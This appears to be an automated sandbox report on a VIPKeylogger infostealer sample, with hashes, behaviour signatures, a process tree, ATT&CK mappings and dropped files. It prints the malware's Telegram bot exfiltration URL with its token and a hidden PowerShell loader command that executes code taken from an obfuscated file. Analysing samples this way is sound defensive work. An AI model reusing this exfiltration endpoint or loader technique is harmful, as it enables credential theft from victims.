Analysis
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max time kernel
148s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
03-12-2024 03:12
General
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Target
f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4.exe
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Size
694KB
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MD5
42b3eeff606c41053b2b30e6df1baa87
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SHA1
8957ac95d71567ccf7d0efc28ddcc944352308d0
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SHA256
f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4
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SHA512
2646e4cd32e39c285be65eecab4bc6c6e92a1b5e5992ba53b5d4f062ddcde1b1a596773d2976442be6ed3be5d36144f4cf23caf665b248909aa1aee316b453b8
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SSDEEP
12288:IfL/UfibuJ2zMMzztVZK+u5YBCtKlQyYefZKSxA340ryKhzJ:IfL8fibuJ2/JVZZuaBCtjexKj3vR
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot8138030788:AAEti5Rsvkh3t9x1DE3f72xKiRnG5XE9PkI/sendMessage?chat_id=7844469787
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 2 IoCs
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Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4.exe"C:\Users\Admin\AppData\Local\Temp\f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4.exe"1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Epigraphic93=gc -raw 'C:\Users\Admin\AppData\Roaming\erstatningsgraden\Internist\Hyperimmune.Mus';$Miljerne=$Epigraphic93.SubString(70004,3);.$Miljerne($Epigraphic93) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\Beskftigelsesmssiges.exe"C:\Users\Admin\AppData\Local\Temp\Beskftigelsesmssiges.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
694KB
MD542b3eeff606c41053b2b30e6df1baa87
SHA18957ac95d71567ccf7d0efc28ddcc944352308d0
SHA256f3b82a629b1eff8b49edcfb38f2d0cbd0ef366a59a97264eb7b86373a45588c4
SHA5122646e4cd32e39c285be65eecab4bc6c6e92a1b5e5992ba53b5d4f062ddcde1b1a596773d2976442be6ed3be5d36144f4cf23caf665b248909aa1aee316b453b8
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
7KB
MD5b4579bc396ace8cafd9e825ff63fe244
SHA132a87ed28a510e3b3c06a451d1f3d0ba9faf8d9c
SHA25601e72332362345c415a7edcb366d6a1b52be9ac6e946fb9da49785c140ba1a4b
SHA5123a76e0e259a0ca12275fed922ce6e01bdfd9e33ba85973e80101b8025ef9243f5e32461a113bbcc6aa75e40894bb5d3a42d6b21045517b6b3cf12d76b4cfa36a
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Filesize
68KB
MD5768076bc07a8269777eca668ffad03db
SHA1f45fe94624260d24d11fd08cef836613c7b6b6de
SHA2565dd1c6b30be06f7d0b330db92b5ce440f11abd4d0e0574325054aa32e6704373
SHA512e3118fcf36589362057d930e89b8e65d8f5e5f83cd3f1c105ea23a86633cad45d063d4e59a7e2e88b301fbad79b2b250c18b4188db1b2469e7989719f6ba0da9
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Filesize
302KB
MD568203be6aeca0041e89c1b3ad79d66ab
SHA19fdfce5ef08c4cea42305dc42aafac600edfbdcf
SHA256f96640c810b03b5701a67ef0b8916b5d4d3d47cb6befed3337462e2f6ff2711c
SHA512fd594bec40cbf4db10a593b94172856429f9db80a021a54a6674fcd6861d34cf28ca0cfb593d5c0671e82baeae96a60bfd66f35137d4fff7016880951665acd0
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Filesize
18.3MB
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Filesize
40KB
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Filesize
584KB
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Filesize
5.2MB
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Filesize
320KB
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Filesize
1.8MB
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Filesize
624KB
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Filesize
296KB
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Filesize
7.7MB
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Filesize
168KB
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Filesize
120KB
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Filesize
304KB
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Filesize
600KB
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Filesize
136KB
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Filesize
104KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
304KB
-
Filesize
200KB
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Filesize
7.7MB
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Filesize
120KB
-
Filesize
408KB
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Filesize
652KB
-
Filesize
40KB
-
Filesize
68KB
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Filesize
56KB
-
Filesize
80KB
-
Filesize
104KB
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Filesize
32KB
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Filesize
3.3MB
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Filesize
144KB
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Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
49.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
136KB
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Filesize
408KB
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Filesize
6.2MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB